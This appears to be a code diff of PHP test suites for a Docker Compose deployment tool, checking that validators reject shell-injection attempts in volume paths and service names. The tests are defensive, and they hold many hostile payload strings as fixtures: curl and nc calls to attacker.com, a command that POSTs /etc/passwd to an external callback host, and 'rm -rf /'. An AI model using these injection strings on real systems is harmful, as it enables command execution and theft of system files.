$maliciousCompose = "services:\n web:\n image: nginx:latest\n volumes:\n - \"/tmp/test\ncurl attacker.com:/app\"";
// YAML parser will reject this before our validation (which is good!)
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class);
});
test('validateDockerComposeForInjection blocks redirections in volumes', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '/tmp/test > /etc/passwd:/app'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection validates volume targets', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '/tmp/safe:/app`curl attacker.com`'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection handles multiple services', function () {
$validCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- /var/www:/usr/share/nginx/html
api:
image: node:18
volumes:
- /app/src:/usr/src/app
db:
image: postgres:15
YAML;
expect(fn () => validateDockerComposeForInjection($validCompose))
->not->toThrow(Exception::class);
});

View File

@@ -0,0 +1,44 @@
<?php
/**
* Unit tests to verify that Configuration component properly listens to
* refresh events dispatched when compose file or domain changes.
*
* These tests verify the fix for the issue where changes to compose or domain
* were not visible until manual page refresh.
*/
it('ensures Configuration component listens to refreshServices event', function () {
$configurationFile = file_get_contents(__DIR__.'/../../app/Livewire/Project/Service/Configuration.php');
// Check that the Configuration component has refreshServices listener
expect($configurationFile)
->toContain("'refreshServices' => 'refreshServices'")
->toContain("'refresh' => 'refreshServices'");
});
it('ensures Configuration component has refreshServices method', function () {
$configurationFile = file_get_contents(__DIR__.'/../../app/Livewire/Project/Service/Configuration.php');
// Check that the refreshServices method exists
expect($configurationFile)
->toContain('public function refreshServices()')
->toContain('$this->service->refresh()')
->toContain('$this->applications = $this->service->applications->sort()')
->toContain('$this->databases = $this->service->databases->sort()');
});
it('ensures StackForm dispatches refreshServices event on submit', function () {
$stackFormFile = file_get_contents(__DIR__.'/../../app/Livewire/Project/Service/StackForm.php');
// Check that StackForm dispatches refreshServices event
expect($stackFormFile)
->toContain("->dispatch('refreshServices')");
});
it('ensures EditDomain dispatches refreshServices event on submit', function () {
$editDomainFile = file_get_contents(__DIR__.'/../../app/Livewire/Project/Service/EditDomain.php');
// Check that EditDomain dispatches refreshServices event
expect($editDomainFile)
->toContain("->dispatch('refreshServices')");
});

View File

@@ -0,0 +1,242 @@
<?php
use App\Models\Service;
use Symfony\Component\Yaml\Yaml;
test('service names with backtick injection are rejected', function () {
$maliciousCompose = <<<'YAML'
services:
'evil`whoami`':
image: alpine
YAML;
$parsed = Yaml::parse($maliciousCompose);
$serviceName = array_key_first($parsed['services']);
expect(fn () => validateShellSafePath($serviceName, 'service name'))
->toThrow(Exception::class, 'backtick');
});
test('service names with command substitution are rejected', function () {
$maliciousCompose = <<<'YAML'
services:
'evil$(cat /etc/passwd)':
image: alpine
YAML;
$parsed = Yaml::parse($maliciousCompose);
$serviceName = array_key_first($parsed['services']);
expect(fn () => validateShellSafePath($serviceName, 'service name'))
->toThrow(Exception::class, 'command substitution');
});
test('service names with pipe injection are rejected', function () {
$maliciousCompose = <<<'YAML'
services:
'web | nc attacker.com 1234':
image: nginx
YAML;
$parsed = Yaml::parse($maliciousCompose);
$serviceName = array_key_first($parsed['services']);
expect(fn () => validateShellSafePath($serviceName, 'service name'))
->toThrow(Exception::class, 'pipe');
});
test('service names with semicolon injection are rejected', function () {
$maliciousCompose = <<<'YAML'
services:
'web; curl attacker.com':
image: nginx
YAML;
$parsed = Yaml::parse($maliciousCompose);
$serviceName = array_key_first($parsed['services']);
expect(fn () => validateShellSafePath($serviceName, 'service name'))
->toThrow(Exception::class, 'separator');
});
test('service names with ampersand injection are rejected', function () {
$maliciousComposes = [
"services:\n 'web & curl attacker.com':\n image: nginx",
"services:\n 'web && curl attacker.com':\n image: nginx",
];
foreach ($maliciousComposes as $compose) {
$parsed = Yaml::parse($compose);
$serviceName = array_key_first($parsed['services']);
expect(fn () => validateShellSafePath($serviceName, 'service name'))
->toThrow(Exception::class, 'operator');
}
});
test('service names with redirection are rejected', function () {
$maliciousComposes = [
"services:\n 'web > /dev/null':\n image: nginx",
"services:\n 'web < input.txt':\n image: nginx",
];
foreach ($maliciousComposes as $compose) {
$parsed = Yaml::parse($compose);
$serviceName = array_key_first($parsed['services']);
expect(fn () => validateShellSafePath($serviceName, 'service name'))
->toThrow(Exception::class);
}
});
test('legitimate service names are accepted', function () {
$legitCompose = <<<'YAML'
services:
web:
image: nginx
api:
image: node:20
database:
image: postgres:15
redis-cache:
image: redis:7
app_server:
image: python:3.11
my-service.com:
image: alpine
YAML;
$parsed = Yaml::parse($legitCompose);
foreach ($parsed['services'] as $serviceName => $service) {
expect(fn () => validateShellSafePath($serviceName, 'service name'))
->not->toThrow(Exception::class);
}
});
test('service names used in docker network connect command', function () {
// This demonstrates the actual vulnerability from StartService.php:41
$maliciousServiceName = 'evil`curl attacker.com`';
$uuid = 'test-uuid-123';
$network = 'coolify';
// Without validation, this would create a dangerous command
$dangerousCommand = "docker network connect --alias {$maliciousServiceName}-{$uuid} $network {$maliciousServiceName}-{$uuid}";
expect($dangerousCommand)->toContain('`curl attacker.com`');
// With validation, the service name should be rejected
expect(fn () => validateShellSafePath($maliciousServiceName, 'service name'))
->toThrow(Exception::class);
});
test('service name from the vulnerability report example', function () {
// The example could also target service names
$maliciousCompose = <<<'YAML'
services:
'coolify`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`':
image: alpine
YAML;
$parsed = Yaml::parse($maliciousCompose);
$serviceName = array_key_first($parsed['services']);
expect(fn () => validateShellSafePath($serviceName, 'service name'))
->toThrow(Exception::class);
});
test('service names with newline injection are rejected', function () {
$maliciousServiceName = "web\ncurl attacker.com";
expect(fn () => validateShellSafePath($maliciousServiceName, 'service name'))
->toThrow(Exception::class, 'newline');
});
test('service names with variable substitution patterns are rejected', function () {
$maliciousNames = [
'web${PATH}',
'app${USER}',
'db${PWD}',
];
foreach ($maliciousNames as $name) {
expect(fn () => validateShellSafePath($name, 'service name'))
->toThrow(Exception::class);
}
});
test('service names provide helpful error messages', function () {
$maliciousServiceName = 'evil`command`';
try {
validateShellSafePath($maliciousServiceName, 'service name');
expect(false)->toBeTrue('Should have thrown exception');
} catch (Exception $e) {
expect($e->getMessage())->toContain('service name');
expect($e->getMessage())->toContain('backtick');
}
});
test('multiple malicious services in one compose file', function () {
$maliciousCompose = <<<'YAML'
services:
'web`whoami`':
image: nginx
'api$(cat /etc/passwd)':
image: node
database:
image: postgres
'cache; curl attacker.com':
image: redis
YAML;
$parsed = Yaml::parse($maliciousCompose);
$serviceNames = array_keys($parsed['services']);
// First and second service names should fail
expect(fn () => validateShellSafePath($serviceNames[0], 'service name'))
->toThrow(Exception::class);
expect(fn () => validateShellSafePath($serviceNames[1], 'service name'))
->toThrow(Exception::class);
// Third service name should pass (legitimate)
expect(fn () => validateShellSafePath($serviceNames[2], 'service name'))
->not->toThrow(Exception::class);
// Fourth service name should fail
expect(fn () => validateShellSafePath($serviceNames[3], 'service name'))
->toThrow(Exception::class);
});
test('service names with spaces are allowed', function () {
// Spaces themselves are not dangerous - shell escaping handles them
// Docker Compose might not allow spaces in service names anyway, but we shouldn't reject them
$serviceName = 'my service';
expect(fn () => validateShellSafePath($serviceName, 'service name'))
->not->toThrow(Exception::class);
});
test('common Docker Compose service naming patterns are allowed', function () {
$commonNames = [
'web',
'api',
'database',
'redis',
'postgres',
'mysql',
'mongodb',
'app-server',
'web_frontend',
'api.backend',
'db-01',
'worker_1',
'service123',
];
foreach ($commonNames as $name) {
expect(fn () => validateShellSafePath($name, 'service name'))
->not->toThrow(Exception::class);
}
});

View File

@@ -0,0 +1,55 @@
<?php
/**
* Unit tests to verify that service parser correctly handles image updates
* without creating duplicate ServiceApplication or ServiceDatabase records.
*
* These tests verify the fix for the issue where changing an image in a
* docker-compose file would create a new service instead of updating the existing one.
*/
it('ensures service parser does not include image in firstOrCreate query', function () {
// Read the serviceParser function from parsers.php
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
// Check that firstOrCreate is called with only name and service_id
// and NOT with image parameter in the ServiceApplication presave loop
expect($parsersFile)
->toContain("firstOrCreate([\n 'name' => \$serviceName,\n 'service_id' => \$resource->id,\n ]);")
->not->toContain("firstOrCreate([\n 'name' => \$serviceName,\n 'image' => \$image,\n 'service_id' => \$resource->id,\n ]);");
});
it('ensures service parser updates image after finding or creating service', function () {
// Read the serviceParser function from parsers.php
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
// Check that image update logic exists after firstOrCreate
expect($parsersFile)
->toContain('// Update image if it changed')
->toContain('if ($savedService->image !== $image) {')
->toContain('$savedService->image = $image;')
->toContain('$savedService->save();');
});
it('ensures parseDockerComposeFile does not create duplicates on null savedService', function () {
// Read the parseDockerComposeFile function from shared.php
$sharedFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php');
// Check that the duplicate creation logic after is_null check has been fixed
// The old code would create a duplicate if savedService was null
// The new code checks for null within the else block and creates only if needed
expect($sharedFile)
->toContain('if (is_null($savedService)) {')
->toContain('$savedService = ServiceDatabase::create([');
});
it('verifies image update logic is present in parseDockerComposeFile', function () {
// Read the parseDockerComposeFile function from shared.php
$sharedFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php');
// Verify the image update logic exists
expect($sharedFile)
->toContain('// Check if image changed')
->toContain('if ($savedService->image !== $image) {')
->toContain('$savedService->image = $image;')
->toContain('$savedService->save();');
});

View File

@@ -0,0 +1,150 @@
<?php
test('allows safe paths without special characters', function () {
$safePaths = [
'/var/lib/data',
'./relative/path',
'named-volume',
'my_volume_123',
'/home/user/app/data',
'C:/Windows/Path',
'/path-with-dashes',
'/path_with_underscores',
'volume.with.dots',
];
foreach ($safePaths as $path) {
expect(fn () => validateShellSafePath($path, 'test'))->not->toThrow(Exception::class);
}
});
test('blocks backtick command substitution', function () {
$path = '/tmp/pwn`curl attacker.com`';
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class, 'backtick');
});
test('blocks dollar-paren command substitution', function () {
$path = '/tmp/pwn$(cat /etc/passwd)';
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class, 'command substitution');
});
test('blocks pipe operators', function () {
$path = '/tmp/file | nc attacker.com 1234';
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class, 'pipe');
});
test('blocks semicolon command separator', function () {
$path = '/tmp/file; curl attacker.com';
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class, 'separator');
});
test('blocks ampersand operators', function () {
$paths = [
'/tmp/file & curl attacker.com',
'/tmp/file && curl attacker.com',
];
foreach ($paths as $path) {
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class, 'operator');
}
});
test('blocks redirection operators', function () {
$paths = [
'/tmp/file > /dev/null',
'/tmp/file < input.txt',
'/tmp/file >> output.log',
];
foreach ($paths as $path) {
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class);
}
});
test('blocks newline command separator', function () {
$path = "/tmp/file\ncurl attacker.com";
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class, 'newline');
});
test('blocks tab character as token separator', function () {
$path = "/tmp/file\tcurl attacker.com";
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class, 'tab');
});
test('blocks complex command injection with the example from issue', function () {
$path = '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`';
expect(fn () => validateShellSafePath($path, 'volume source'))
->toThrow(Exception::class);
});
test('blocks nested command substitution', function () {
$path = '/tmp/$(echo $(whoami))';
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class, 'command substitution');
});
test('blocks variable substitution patterns', function () {
$paths = [
'/tmp/${PWD}',
'/tmp/${PATH}',
'data/${USER}',
];
foreach ($paths as $path) {
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class);
}
});
test('provides context-specific error messages', function () {
$path = '/tmp/evil`command`';
try {
validateShellSafePath($path, 'volume source');
expect(false)->toBeTrue('Should have thrown exception');
} catch (Exception $e) {
expect($e->getMessage())->toContain('volume source');
}
try {
validateShellSafePath($path, 'service name');
expect(false)->toBeTrue('Should have thrown exception');
} catch (Exception $e) {
expect($e->getMessage())->toContain('service name');
}
});
test('handles empty strings safely', function () {
expect(fn () => validateShellSafePath('', 'test'))->not->toThrow(Exception::class);
});
test('allows paths with spaces', function () {
// Spaces themselves are not dangerous in properly quoted shell commands
// The escaping should be handled elsewhere (e.g., escapeshellarg)
$path = '/path/with spaces/file';
expect(fn () => validateShellSafePath($path, 'test'))->not->toThrow(Exception::class);
});
test('blocks multiple attack vectors in one path', function () {
$path = '/tmp/evil`curl attacker.com`; rm -rf /; echo "pwned" > /tmp/hacked';
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class);
});

View File

@@ -0,0 +1,270 @@
<?php
use Symfony\Component\Yaml\Yaml;
test('demonstrates array-format volumes from YAML parsing', function () {
// This is how Docker Compose long syntax looks in YAML
$dockerComposeYaml = <<<'YAML'
services:
web:
image: nginx
volumes:
- type: bind
source: ./data
target: /app/data
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$volumes = $parsed['services']['web']['volumes'];
// Verify this creates an array format
expect($volumes[0])->toBeArray();
expect($volumes[0])->toHaveKey('type');
expect($volumes[0])->toHaveKey('source');
expect($volumes[0])->toHaveKey('target');
});
test('malicious array-format volume with backtick injection', function () {
$dockerComposeYaml = <<<'YAML'
services:
evil:
image: alpine
volumes:
- type: bind
source: '/tmp/pwn`curl attacker.com`'
target: /app
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$volumes = $parsed['services']['evil']['volumes'];
// The malicious volume is now an array
expect($volumes[0])->toBeArray();
expect($volumes[0]['source'])->toContain('`');
// When applicationParser or serviceParser processes this,
// it should throw an exception due to our validation
$source = $volumes[0]['source'];
expect(fn () => validateShellSafePath($source, 'volume source'))
->toThrow(Exception::class, 'backtick');
});
test('malicious array-format volume with command substitution', function () {
$dockerComposeYaml = <<<'YAML'
services:
evil:
image: alpine
volumes:
- type: bind
source: '/tmp/pwn$(cat /etc/passwd)'
target: /app
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$source = $parsed['services']['evil']['volumes'][0]['source'];
expect(fn () => validateShellSafePath($source, 'volume source'))
->toThrow(Exception::class, 'command substitution');
});
test('malicious array-format volume with pipe injection', function () {
$dockerComposeYaml = <<<'YAML'
services:
evil:
image: alpine
volumes:
- type: bind
source: '/tmp/file | nc attacker.com 1234'
target: /app
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$source = $parsed['services']['evil']['volumes'][0]['source'];
expect(fn () => validateShellSafePath($source, 'volume source'))
->toThrow(Exception::class, 'pipe');
});
test('malicious array-format volume with semicolon injection', function () {
$dockerComposeYaml = <<<'YAML'
services:
evil:
image: alpine
volumes:
- type: bind
source: '/tmp/file; curl attacker.com'
target: /app
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$source = $parsed['services']['evil']['volumes'][0]['source'];
expect(fn () => validateShellSafePath($source, 'volume source'))
->toThrow(Exception::class, 'separator');
});
test('exact example from security report in array format', function () {
$dockerComposeYaml = <<<'YAML'
services:
coolify:
image: alpine
volumes:
- type: bind
source: '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`'
target: /app
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$source = $parsed['services']['coolify']['volumes'][0]['source'];
// This should be caught by validation
expect(fn () => validateShellSafePath($source, 'volume source'))
->toThrow(Exception::class);
});
test('legitimate array-format volumes are allowed', function () {
$dockerComposeYaml = <<<'YAML'
services:
web:
image: nginx
volumes:
- type: bind
source: ./data
target: /app/data
- type: bind
source: /var/lib/data
target: /data
- type: volume
source: my-volume
target: /app/volume
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$volumes = $parsed['services']['web']['volumes'];
// All these legitimate volumes should pass validation
foreach ($volumes as $volume) {
$source = $volume['source'];
expect(fn () => validateShellSafePath($source, 'volume source'))
->not->toThrow(Exception::class);
}
});
test('array-format with environment variables', function () {
$dockerComposeYaml = <<<'YAML'
services:
web:
image: nginx
volumes:
- type: bind
source: ${DATA_PATH}
target: /app/data
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$source = $parsed['services']['web']['volumes'][0]['source'];
// Simple environment variables should be allowed
expect($source)->toBe('${DATA_PATH}');
// Our validation allows simple env var references
$isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $source);
expect($isSimpleEnvVar)->toBe(1); // preg_match returns 1 on success, not true
});
test('array-format with safe environment variable default', function () {
$dockerComposeYaml = <<<'YAML'
services:
web:
image: nginx
volumes:
- type: bind
source: '${DATA_PATH:-./data}'
target: /app/data
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$source = $parsed['services']['web']['volumes'][0]['source'];
// Parse correctly extracts the source value
expect($source)->toBe('${DATA_PATH:-./data}');
// Safe environment variable with benign default should be allowed
// The pre-save validation skips env vars with safe defaults
expect(fn () => validateDockerComposeForInjection($dockerComposeYaml))
->not->toThrow(Exception::class);
});
test('array-format with malicious environment variable default', function () {
$dockerComposeYaml = <<<'YAML'
services:
evil:
image: alpine
volumes:
- type: bind
source: '${VAR:-/tmp/evil`whoami`}'
target: /app
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$source = $parsed['services']['evil']['volumes'][0]['source'];
// This contains backticks and should fail validation
expect(fn () => validateShellSafePath($source, 'volume source'))
->toThrow(Exception::class);
});
test('mixed string and array format volumes in same compose', function () {
$dockerComposeYaml = <<<'YAML'
services:
web:
image: nginx
volumes:
- './safe/data:/app/data'
- type: bind
source: ./another/safe/path
target: /app/other
- '/tmp/evil`whoami`:/app/evil'
- type: bind
source: '/tmp/evil$(id)'
target: /app/evil2
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$volumes = $parsed['services']['web']['volumes'];
// String format malicious volume (index 2)
expect(fn () => parseDockerVolumeString($volumes[2]))
->toThrow(Exception::class);
// Array format malicious volume (index 3)
$source = $volumes[3]['source'];
expect(fn () => validateShellSafePath($source, 'volume source'))
->toThrow(Exception::class);
// Legitimate volumes should work (indexes 0 and 1)
expect(fn () => parseDockerVolumeString($volumes[0]))
->not->toThrow(Exception::class);
$safeSource = $volumes[1]['source'];
expect(fn () => validateShellSafePath($safeSource, 'volume source'))
->not->toThrow(Exception::class);
});
test('array-format target path injection is also blocked', function () {
$dockerComposeYaml = <<<'YAML'
services:
evil:
image: alpine
volumes:
- type: bind
source: ./data
target: '/app`whoami`'
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$target = $parsed['services']['evil']['volumes'][0]['target'];
// Target paths should also be validated
expect(fn () => validateShellSafePath($target, 'volume target'))
->toThrow(Exception::class, 'backtick');
});

View File

@@ -0,0 +1,186 @@
<?php
test('parseDockerVolumeString rejects command injection in source path', function () {
$maliciousVolume = '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`:/app';
expect(fn () => parseDockerVolumeString($maliciousVolume))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('parseDockerVolumeString rejects backtick injection', function () {
$maliciousVolumes = [
'`whoami`:/app',
'/tmp/evil`id`:/data',
'./data`nc attacker.com 1234`:/app/data',
];
foreach ($maliciousVolumes as $volume) {
expect(fn () => parseDockerVolumeString($volume))
->toThrow(Exception::class);
}
});
test('parseDockerVolumeString rejects dollar-paren injection', function () {
$maliciousVolumes = [
'$(whoami):/app',
'/tmp/evil$(cat /etc/passwd):/data',
'./data$(curl attacker.com):/app/data',
];
foreach ($maliciousVolumes as $volume) {
expect(fn () => parseDockerVolumeString($volume))
->toThrow(Exception::class);
}
});
test('parseDockerVolumeString rejects pipe injection', function () {
$maliciousVolume = '/tmp/file | nc attacker.com 1234:/app';
expect(fn () => parseDockerVolumeString($maliciousVolume))
->toThrow(Exception::class);
});
test('parseDockerVolumeString rejects semicolon injection', function () {
$maliciousVolume = '/tmp/file; curl attacker.com:/app';
expect(fn () => parseDockerVolumeString($maliciousVolume))
->toThrow(Exception::class);
});
test('parseDockerVolumeString rejects ampersand injection', function () {
$maliciousVolumes = [
'/tmp/file & curl attacker.com:/app',
'/tmp/file && curl attacker.com:/app',
];
foreach ($maliciousVolumes as $volume) {
expect(fn () => parseDockerVolumeString($volume))
->toThrow(Exception::class);
}
});
test('parseDockerVolumeString accepts legitimate volume definitions', function () {
$legitimateVolumes = [
'gitea:/data',
'./data:/app/data',
'/var/lib/data:/data',
'/etc/localtime:/etc/localtime:ro',
'my-app_data:/var/lib/app-data',
'C:/Windows/Data:/data',
'/path-with-dashes:/app',
'/path_with_underscores:/app',
'volume.with.dots:/data',
];
foreach ($legitimateVolumes as $volume) {
$result = parseDockerVolumeString($volume);
expect($result)->toBeArray();
expect($result)->toHaveKey('source');
expect($result)->toHaveKey('target');
}
});
test('parseDockerVolumeString accepts simple environment variables', function () {
$volumes = [
'${DATA_PATH}:/data',
'${VOLUME_PATH}:/app',
'${MY_VAR_123}:/var/lib/data',
];
foreach ($volumes as $volume) {
$result = parseDockerVolumeString($volume);
expect($result)->toBeArray();
expect($result['source'])->not->toBeNull();
}
});
test('parseDockerVolumeString rejects environment variables with command injection in default', function () {
$maliciousVolumes = [
'${VAR:-`whoami`}:/app',
'${VAR:-$(cat /etc/passwd)}:/data',
'${PATH:-/tmp;curl attacker.com}:/app',
];
foreach ($maliciousVolumes as $volume) {
expect(fn () => parseDockerVolumeString($volume))
->toThrow(Exception::class);
}
});
test('parseDockerVolumeString accepts environment variables with safe defaults', function () {
$safeVolumes = [
'${VOLUME_DB_PATH:-db}:/data/db',
'${DATA_PATH:-./data}:/app/data',
'${VOLUME_PATH:-/var/lib/data}:/data',
];
foreach ($safeVolumes as $volume) {
$result = parseDockerVolumeString($volume);
expect($result)->toBeArray();
expect($result['source'])->not->toBeNull();
}
});
test('parseDockerVolumeString rejects injection in target path', function () {
// While target paths are less dangerous, we should still validate them
$maliciousVolumes = [
'/data:/app`whoami`',
'./data:/tmp/evil$(id)',
'volume:/data; curl attacker.com',
];
foreach ($maliciousVolumes as $volume) {
expect(fn () => parseDockerVolumeString($volume))
->toThrow(Exception::class);
}
});
test('parseDockerVolumeString rejects the exact example from the security report', function () {
$exactMaliciousVolume = '/tmp/pwn`curl https://78dllxcupr3aicoacj8k7ab8jzpqdt1i.oastify.com -X POST --data "$(cat /etc/passwd)"`:/app';
expect(fn () => parseDockerVolumeString($exactMaliciousVolume))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('parseDockerVolumeString provides helpful error messages', function () {
$maliciousVolume = '/tmp/evil`command`:/app';
try {
parseDockerVolumeString($maliciousVolume);
expect(false)->toBeTrue('Should have thrown exception');
} catch (Exception $e) {
expect($e->getMessage())->toContain('Invalid Docker volume definition');
expect($e->getMessage())->toContain('backtick');
expect($e->getMessage())->toContain('volume source');
}
});
test('parseDockerVolumeString handles whitespace with malicious content', function () {
$maliciousVolume = ' /tmp/evil`whoami`:/app ';
expect(fn () => parseDockerVolumeString($maliciousVolume))
->toThrow(Exception::class);
});
test('parseDockerVolumeString rejects redirection operators', function () {
$maliciousVolumes = [
'/tmp/file > /dev/null:/app',
'/tmp/file < input.txt:/app',
'./data >> output.log:/app',
];
foreach ($maliciousVolumes as $volume) {
expect(fn () => parseDockerVolumeString($volume))
->toThrow(Exception::class);
}
});
test('parseDockerVolumeString rejects newline and tab in volume strings', function () {
// Newline can be used as command separator
expect(fn () => parseDockerVolumeString("/data\n:/app"))
->toThrow(Exception::class);
// Tab can be used as token separator
expect(fn () => parseDockerVolumeString("/data\t:/app"))
->toThrow(Exception::class);
});

View File

@@ -0,0 +1,64 @@
<?php
test('parseDockerVolumeString correctly handles Windows paths with drive letters', function () {
$windowsVolume = 'C:\\host\\path:/container';
$result = parseDockerVolumeString($windowsVolume);
expect((string) $result['source'])->toBe('C:\\host\\path');
expect((string) $result['target'])->toBe('/container');
});
test('validateVolumeStringForInjection correctly handles Windows paths via parseDockerVolumeString', function () {
$windowsVolume = 'C:\\Users\\Data:/app/data';
// Should not throw an exception
validateVolumeStringForInjection($windowsVolume);
// If we get here, the test passed
expect(true)->toBeTrue();
});
test('validateVolumeStringForInjection rejects malicious Windows-like paths', function () {
$maliciousVolume = 'C:\\host\\`whoami`:/container';
expect(fn () => validateVolumeStringForInjection($maliciousVolume))
->toThrow(\Exception::class);
});
test('validateDockerComposeForInjection handles Windows paths in compose files', function () {
$dockerComposeYaml = <<<'YAML'
services:
web:
image: nginx
volumes:
- C:\Users\Data:/app/data
YAML;
// Should not throw an exception
validateDockerComposeForInjection($dockerComposeYaml);
expect(true)->toBeTrue();
});
test('validateDockerComposeForInjection rejects Windows paths with injection', function () {
$dockerComposeYaml = <<<'YAML'
services:
web:
image: nginx
volumes:
- C:\Users\$(whoami):/app/data
YAML;
expect(fn () => validateDockerComposeForInjection($dockerComposeYaml))
->toThrow(\Exception::class);
});
test('Windows paths with complex paths and spaces are handled correctly', function () {
$windowsVolume = 'C:\\Program Files\\MyApp:/app';
$result = parseDockerVolumeString($windowsVolume);
expect((string) $result['source'])->toBe('C:\\Program Files\\MyApp');
expect((string) $result['target'])->toBe('/app');
});

View File

@@ -1,10 +1,10 @@
{ {
"coolify": { "coolify": {
"v4": { "v4": {
"version": "4.0.0-beta.435" "version": "4.0.0-beta.436"
}, },
"nightly": { "nightly": {
"version": "4.0.0-beta.436" "version": "4.0.0-beta.437"
}, },
"helper": { "helper": {
"version": "1.0.11" "version": "1.0.11"